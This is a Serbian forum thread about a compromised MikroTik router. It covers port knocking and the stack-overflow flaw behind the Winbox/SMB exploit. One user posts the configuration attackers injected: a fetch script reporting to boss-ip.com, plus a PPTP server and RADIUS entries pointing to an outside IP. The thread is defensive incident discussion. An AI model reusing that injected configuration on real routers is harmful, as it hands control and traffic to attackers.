Mikrotik v6.41.2 hakovan! Obratite paznju!

Da da, pogotovo to. Ja sam otvorio ssh na nestandardnom portu i za godinu dana nisam imao nijedan pokusaj upada. A na 8080 vrtim neki svoj web koji samo vraca hello world i belezi ko sve pokusava da se nakaci i da vidis tu na 8080 koji je standardan port tusta i tma pokusaja hakovanja ;)

Zašto ne koristite jednu vrlo zgodnu opciju ?
Svi portovi su zatvoreni ka internetu a otvarate ih kada vam zatreba.

Kako ih otvoriš spolja?

Potpis

... Vladimir Vučićević aka. Bachi
~~~ www.bachi.in.rs <<<<>>>> [email protected]
>>> It's nice to be important, but it's more important to be nice...

Prozivanjem odredjenih portova, odredjenim REDOSLEDOM, sa ISTE source adrese, vremenski razmak prozivanja portova "do X sekundi" ruter kreira firewall allow pravilo koje traje xx minuta za odredjeni port samo za TU SOURCE adresu.

Mogu kasnije postaviti code za mtik.

U jeeeee, nisam znao za to.

Potpis

... Vladimir Vučićević aka. Bachi
~~~ www.bachi.in.rs <<<<>>>> [email protected]
>>> It's nice to be important, but it's more important to be nice...

Meni samo nije jasno kako korisnik da uradi to prozivanje ;p

^^
kljucna rec: port knocking :)

To je vec next level :)

Razbijen je winbox port, tako da napadac pristupi bazi sa passwordima...
Ili poslednja verzija softvera ili jos bolje firewall.

Potpis

Merenje brizine
interneta

Hvala, svaki dan naučim po nešto novo. :D

Potpis

... Vladimir Vučićević aka. Bachi
~~~ www.bachi.in.rs <<<<>>>> [email protected]
>>> It's nice to be important, but it's more important to be nice...

Prozivanje može da se ostvari iz brousera, raznih programa za pc, android, ios.....

Sifra nije bila promenjena, u veoma kratkom vremenu sam primetio...

Nije dobro haknut cim je ostao user/pass nepromenjen

Sto pominje DynDNS:

Prvo odaberes portove i redosled :) (recimo 5555,6666,5566)
Napravi da input ka tim portovima generise neke dynamicke liste (address-list).
Pa uradis sa telefona/kompa/tableta... telnet prvo na port 5555, tvoja IP adresa se upise u listu pristup5555, isto tako i za ostale liste...

Onda napravi pravilo:
sve sto dolazi na prvu listu, prelazi u stage2, pa sto dolazi u drugu prelazi u stage3 pa sto dolazi u trecu prelazi u stage4. Nakon faze 4 stavis ACCEPT za mikrotik i pristupas mu kako hoces...

Unazad ovo pravilo sluzi za neki antispam/antiddos i sl...

Lepo i elegantno...

Naravno ozbiljan administrator ce svoju mrezu zastititi prvo spolja a posle i od svojih korisnika...

Nisam ulazio u problematiku ovog remote exploita, ali vidim da ima veze sa SMB portom koji je inace oduvek bio problematican i za te portove su vezani gomila exploitova. Ko se seca legentarnog TEARDROP-a koji nam je oslobadjao pristupne linije Telekoma/PTT-a/YUBC-a/Beotela i YUPAK-a zna o cemu pricam :)

SMB je bezvezna stvar na mikrotiku.

Potpis

::www.kladovo.net ::

Da pojasnim :

chain prvi osluskuje po udp portu 48962 prozivku. Kada se prozvka dogodi source adresu ubacuje u knock1 listu na 5 sekundi.

chain drugi osluskuje po tcp portu 57236 prozivku, kada se prozivka dogodi source adresu ubacuje u knock2 listu na 5 sekundi. Ali ovaj chain ima pravilo i da samo Knock1 lista ima allow da prozove port iz ovog chaina.

chain 3 : isto kao i chain 2

chain 4 isto kao i predhodna dva. Samo sto sam ja stavio ime liste Safelist u kojoj se source adresa zadrzava 10 minuta.

chain 5 : mislim da je jasan.

Naravno, template oblikujte svojim potrebama, postavite neke randum portove...
Takodje dodajte chain-ove da je ruter potpuno nevidljiv na internetu.




Pozdrav

Izvinjavam se što kasnim sa "Roditeljskog"
Obećavam, da ću sve pomno i detaljno pročitati

(kačim cveće ispred zgrade,
bušim betonske grede, uvaljujem hilti tiplove, itd,)

-volim da je lepo ako može

@zivanicd

Nije neka filozofija za exploit. Prvi bajt definise velicinu source bafera, a nema provere da li moze da stane u destinacioni bafer, sto omogucava stack overflow.

Dakle ovako:

Ovo isto se desilo i meni u isto vreme, znaci pre 3 dana.
Posto se napad desio u isto vreme, mogu da smatram da je ovo dobro organizovano i da nije slucajno

Za pristup Mikrotiku koristio sam Winbox, u lokalu i sa Interneta.

Posledice su sledece:

Dodat je script:

/tool fetch url=("http://www.boss-ip.com/Core/Update.ashx\
?key=85454d8bb84998fa&action=upload&sncode=434017A7560235760C99A0FA08D602C5&dynamic=static")}

Nisam zapamtio koliko cesto se aktivirao.

Izmenjeno je ime routera:

set name=test

Dodato je sledece:

add name=pool1 ranges=10.1.1.2-10.1.1.250

/ppp profile
add change-tcp-mss=yes dns-server=8.8.8.8 local-address=10.1.1.1 name=test \
remote-address=pool1 use-encryption=yes

/interface pptp-server server
set authentication=pap,chap default-profile=test enabled=yes

add action=masquerade chain=srcnat
add action=masquerade chain=srcnat

/ppp aaa
set interim-update=1m use-circuit-id-in-nas-port-id=yes use-radius=yes

/radius
add address=47.75.230.175 secret=test service=ppp
add address=47.75.230.175 secret=test service=ppp
/radius incoming
set accept=yes

Meni ovo sve lici na ovaj novi VPNFilter malver.

Po poslednjim informacijama ovi modeli su ugrozeni:

Router kod mene je RB3011 UiAS.

Ja sam posle ovog napada uradio update na verziju 6.42.3 koja je datirana na 24.05.2018

Vratio sam iz backupa "zdravu" konfiguraciju.

Promenio sam password.

Iskljucio sam www, www-ssl, api, api-ssl, ssh servise jer ih ne koristim.

Ostavio sam ftp, telnet i winbox koje sam stavio u address listu sa koje moze da se pristupa.

E ostavio si prave servise za kara*je. Da si birao ne bi bolje izabrao.

BRAVO Alexandre,
i nek si mu rekao:

"ostavio si prave servise za kara*je. Da si birao ne bi bolje izabrao."

To, to, to, direkt u Target,